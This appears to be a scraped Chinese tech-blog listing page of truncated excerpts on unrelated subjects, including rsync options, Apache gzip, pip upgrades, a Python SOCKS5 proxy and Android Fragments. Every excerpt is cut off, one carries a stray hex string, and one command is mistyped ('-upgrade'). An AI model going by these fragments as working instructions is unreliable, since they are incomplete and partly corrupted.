TL&#xff1b;DR在這種情況下&#xff0c;我想我會選擇使用我現在的4個選項我將介紹4種選擇&#xff0c;其中一些可能比其他更可行。在如果您擔心execute表示的代碼存在代碼重復(DRY)&#xff0c;您可以簡單地定義一個兩個路由都可以調用的函數&#xff1a;def execute():# ex…

Google開源Leak Finder——用于檢測內存泄漏的JavaScript工具

近日&#xff0c;Google開源了Leak Finder&#xff0c;這款工具可以查看JavaScript應用的堆&#xff0c;進而發現內存泄漏。 作為一門垃圾收集語言&#xff0c;JavaScript并不會出現常見的內存泄露情況&#xff0c;特別是像C等語言中所見到的那種。但如果依舊將內存分配給那些不…

linux 定時訪問文件夾,Linux定時同步文件夾

-v, --verbose 詳細模式輸出-q, --quiet 精簡輸出模式-c, --checksum 打開校驗開關&#xff0c;強制對文件傳輸進行校驗-a, --archive 歸檔模式&#xff0c;表示以遞歸方式傳輸文件&#xff0c;并保持所有文件屬性&#xff0c;等于-rlptgoD-r, --recursive 對子目錄以遞歸模式處…

windows apache 開啟 GZIP

從服務端優化來說&#xff0c;通過對服務端做壓縮配置可以大大減小文本文件的體積&#xff0c;從而使加載文本的速度成倍的加快。目前比較通用的壓縮方法是啟用gzip壓縮。它 會把瀏覽器請求的頁面&#xff0c;以及頁面中引用的靜態資源以壓縮包的形式發送到客戶端,然后在客戶端…

python必備插件_5框酷斃的python插件工具

展開全部工欲善其事必先利其器&#xff0c;一個好的工具能讓起到事半功倍32313133353236313431303231363533e59b9ee7ad9431333433646531的效果&#xff0c;Python社區提供了足夠多的優秀工具來幫助開發者更方便的實現某些想法&#xff0c;下面這幾個工具給我的工作也帶來了很多…

Bootstrap3 排版-改變大小寫

通過這幾個類可以改變文本的大小寫。 <p class"text-lowercase">Lowercased text.</p> <p class"text-uppercase">Uppercased text.</p> <p class"text-capitalize">Capitalized text.</p> —–下面有個“頂…

linux系統如何調屏幕亮度,Linux入門教程:Ubuntu筆記本屏幕亮度調節

前天入手一臺Dell筆記本&#xff0c;i7第五代處理器&#xff0c;8G內存&#xff0c;1T硬盤&#xff0c;很符合我對移動工作站的要求。今天果斷將正版win8替換為Ubuntu&#xff0c;DIY的后果就是原來3秒啟動系統變成了現在15秒&#xff0c;忍了。但是另一個問題十分困擾我&#…

Centos7 更新pip和scipy

更新pip&#xff1a; pip install --upgrade pip 更新scipy包&#xff1a; pip install -upgrade scipy 轉載于:https://www.cnblogs.com/leewhite/p/6098211.html

poj 3258 River Hopscotch 【二分】

題目真是不好讀&#xff0c;大意例如以下&#xff08;知道題意就非常好解了&#xff09; 大致題意&#xff1a; 一條河長度為 L&#xff0c;河的起點(Start)和終點(End)分別有2塊石頭&#xff0c;S到E的距離就是L。 河中有n塊石頭&#xff0c;每塊石頭到S都有唯一的距離 問如今…

python的socks5全局代理_Python寫的Socks5協議代理服務器

直接上代碼&#xff1a;#!/usr/bin/python# Filename s5.py# Python Dynamic Socks5 Proxy# Usage: python s5.py 1080# Background Run: nohup python s5.py 1080 &import socket, sys, select, SocketServer, struct, timeclass ThreadingTCPServer(SocketServer.Threadi…

Zencart 給DHL運費模塊增加一個分區的方法

Zencart 給DHL運費模塊增加一個分區的方法 zencart給DHL運費模塊添加一個分區的方法很簡單&#xff0c;因爲該模塊已經做好了允許用戶添加更多分區的設置。 具體方法如下&#xff1a; 首先打開該運費模塊&#xff08;includes\modules\shipping\dhlzones.php 文件&#xff09;&…

linux 如何查看終端格式,你應該還不知道,Linux終端下的 Markdown 文檔查看器

原標題&#xff1a;你應該還不知道&#xff0c;Linux終端下的 Markdown 文檔查看器現在&#xff0c;Markdown 差不多已經成為技術文檔的標準。它可以實現技術文檔的快捷寫作&#xff0c;以及輸出發布。同樣都是標記語言&#xff0c;但Markdown 文檔相比HTML更加簡單。一是體現在…

更換硬盤

更換硬盤 1. 根據管理平臺的信息&#xff0c;找到損壞磁盤的位置 2. 取下壞盤&#xff0c;對比新盤的PN號 3. 將新的硬盤插回到磁盤柜 4. vol status -s 查看Spare Disks信息 &#xff0c;找到識別碼&#xff0c;例如4a.05.15 5. disk assign 4…

Android之 Fragment

什么是Fragment&#xff1a; Android是在Android 3.0 (API level 11)開始引入Fragment的。 可以把Fragment想成Activity中的模塊&#xff0c;這個模塊有自己的布局&#xff0c;有自己的生命周期&#xff0c;單獨處理自己的輸入&#xff0c;在Activity運行的時候可以加載或者移除…

怎么用python檢索法律_法律人,你的檢索與處理信息的方式,決定了你的專業程度...

昨天在后臺收到一位讀者留言&#xff1a;“我花了2天時間到各法院官網、法律數據庫網站、裁判文書及判例網站上搜索近十年我國經濟類犯罪案例。好不容易將案件手動分類&#xff0c;整理判例的定罪和量刑情況給當前的案子作參考&#xff0c;現在看到了結論&#xff0c;也不敢確定…